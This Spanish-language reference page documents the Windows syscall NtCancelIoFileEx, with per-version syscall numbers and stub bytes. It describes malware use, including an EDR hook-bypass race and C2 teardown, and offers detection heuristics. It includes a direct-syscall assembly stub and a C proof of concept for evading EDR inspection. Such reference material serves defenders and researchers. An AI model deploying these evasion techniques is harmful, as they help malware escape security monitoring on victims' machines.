NtCancelIoFileEx
Cancela una solicitud de E/S específica pendiente sobre un archivo, sin importar qué hilo la emitió.
Prototipo
NTSTATUS NtCancelIoFileEx( HANDLE FileHandle, PIO_STATUS_BLOCK IoRequestToCancel, PIO_STATUS_BLOCK IoStatusBlock );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| FileHandle | HANDLE | in | Handle al archivo / dispositivo / pipe cuya E/S debe ser cancelada. |
| IoRequestToCancel | PIO_STATUS_BLOCK | in | Puntero opcional al IO_STATUS_BLOCK que identifica un IRP en vuelo específico. NULL cancela todo IRP pendiente del handle desde cualquier hilo. |
| IoStatusBlock | PIO_STATUS_BLOCK | out | Recibe el resultado de la operación de cancelación en sí (Status, Information). |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x8D | win10-1507 |
| Win10 1607 | 0x8D | win10-1607 |
| Win10 1703 | 0x8E | win10-1703 |
| Win10 1709 | 0x8F | win10-1709 |
| Win10 1803 | 0x90 | win10-1803 |
| Win10 1809 | 0x90 | win10-1809 |
| Win10 1903 | 0x90 | win10-1903 |
| Win10 1909 | 0x90 | win10-1909 |
| Win10 2004 | 0x92 | win10-2004 |
| Win10 20H2 | 0x92 | win10-20h2 |
| Win10 21H1 | 0x92 | win10-21h1 |
| Win10 21H2 | 0x92 | win10-21h2 |
| Win10 22H2 | 0x92 | win10-22h2 |
| Win11 21H2 | 0x92 | win11-21h2 |
| Win11 22H2 | 0x92 | win11-22h2 |
| Win11 23H2 | 0x92 | win11-23h2 |
| Win11 24H2 | 0x94 | win11-24h2 |
| Server 2016 | 0x8D | winserver-2016 |
| Server 2019 | 0x90 | winserver-2019 |
| Server 2022 | 0x92 | winserver-2022 |
| Server 2025 | 0x94 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 94 00 00 00 mov eax, 0x94 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
Introducido en Vista para corregir la limitación de alcance single-thread de NtCancelIoFile. Con `IoRequestToCancel == NULL` se comporta como CancelIo pero cross-thread; con un puntero IO_STATUS_BLOCK no NULL, el kernel recorre la lista de IRP del archivo, hace match con el IRP cuyo `UserIosb` igual al puntero proporcionado y cancela exactamente ése. El thunk Win32 `CancelIoEx` expone los dos modos. El SSN se mueve modestamente: `0x90` en Win10 1803–1909, `0x92` en 2004–23H2, `0x94` en Win11 24H2 / Server 2025.
Uso común por malware
El más rico del triplete de cancel, y el que es genuinamente útil para patrones de **bypass de hook EDR / race-cancel**. El ataque de manual: el hook user-mode `NtReadFile` de un EDR realiza inspección síncrona del contenido antes de reenviar la llamada. Despachando la lectura overlapped (`FILE_FLAG_OVERLAPPED`) y llamando inmediatamente `NtCancelIoFileEx` contra el IO_STATUS_BLOCK *específico* desde otro hilo helper, la lectura se arranca antes de que dispare la rutina de finalización del EDR — dejando al EDR con `STATUS_CANCELLED` y sin datos para inspeccionar. Implants reales también lo usan para teardown limpio de workers pipe / socket multihilo en canales C2, y como watchdog para abortar llamadas `DeviceIoControl` colgadas contra drivers minifilter no responsivos.
Oportunidades de detección
Mayor señal que NtCancelIoFile porque la forma *dirigida* es mucho menos común en software benigno. Hooks sobre `CancelIoEx` user-mode más ETW `Microsoft-Windows-Kernel-File` y trazas WPP IRP pueden correlacionar un patrón sub-milisegundo emisión-luego-cancelación sobre el mismo handle. Heurística fiable: un hilo que llama NtCancelIoFileEx con un `IoRequestToCancel` no NULL apuntando a un IO_STATUS_BLOCK *cuyo NtReadFile / NtWriteFile / NtDeviceIoControlFile emparejado se completó en otro hilo menos de un milisegundo antes*, mientras el file object es uno de los handles protegidos por EDR (mfeavfk, csagent, MsSecFlt, etc.). Los EDR que mueven la inspección a un minifilter de kernel (WdFilter de Defender, CSAgent de CrowdStrike) son inmunes a esta carrera porque su hook corre *antes* de que el IRP se complete de vuelta a user mode.
Ejemplos de syscalls directos
asmx64 stub (Win11 24H2 SSN 0x94)
; Direct syscall stub for NtCancelIoFileEx
NtCancelIoFileEx PROC
mov r10, rcx ; syscall convention
mov eax, 94h ; SSN (Win11 24H2 / Server 2025)
syscall
ret
NtCancelIoFileEx ENDPcRace-cancel against an EDR user-mode hook
// PoC: issue an overlapped read, then yank the IRP from a helper thread
// targeting the specific IO_STATUS_BLOCK before any synchronous EDR
// completion inspection can fire.
#include <windows.h>
typedef struct _IO_STATUS_BLOCK {
union { NTSTATUS Status; PVOID Pointer; };
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef NTSTATUS (NTAPI *pNtCancelIoFileEx)(HANDLE, PIO_STATUS_BLOCK, PIO_STATUS_BLOCK);
typedef struct { HANDLE h; PIO_STATUS_BLOCK iosb; } cancel_ctx;
static DWORD WINAPI Yanker(LPVOID p) {
cancel_ctx *c = (cancel_ctx*)p;
pNtCancelIoFileEx NtCancelIoFileEx = (pNtCancelIoFileEx)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCancelIoFileEx");
IO_STATUS_BLOCK out = {0};
return NtCancelIoFileEx(c->h, c->iosb, &out);
}
NTSTATUS RaceCancelRead(HANDLE h, PVOID buf, ULONG len) {
OVERLAPPED ov = {0};
DWORD got = 0;
ReadFile(h, buf, len, &got, &ov); // hooked path
cancel_ctx c = { h, (PIO_STATUS_BLOCK)&ov }; // OVERLAPPED layout == IO_STATUS_BLOCK
HANDLE t = CreateThread(NULL, 0, Yanker, &c, 0, NULL);
WaitForSingleObject(t, INFINITE);
CloseHandle(t);
return 0;
}rustCross-thread cancel-all-on-handle
// Tear down every outstanding IRP on a handle from any thread.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::IO::CancelIoEx;
pub unsafe fn cancel_all(h: HANDLE) -> bool {
// CancelIoEx(h, NULL) — under the hood NtCancelIoFileEx with NULL IRP.
CancelIoEx(h, std::ptr::null_mut()) != 0
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20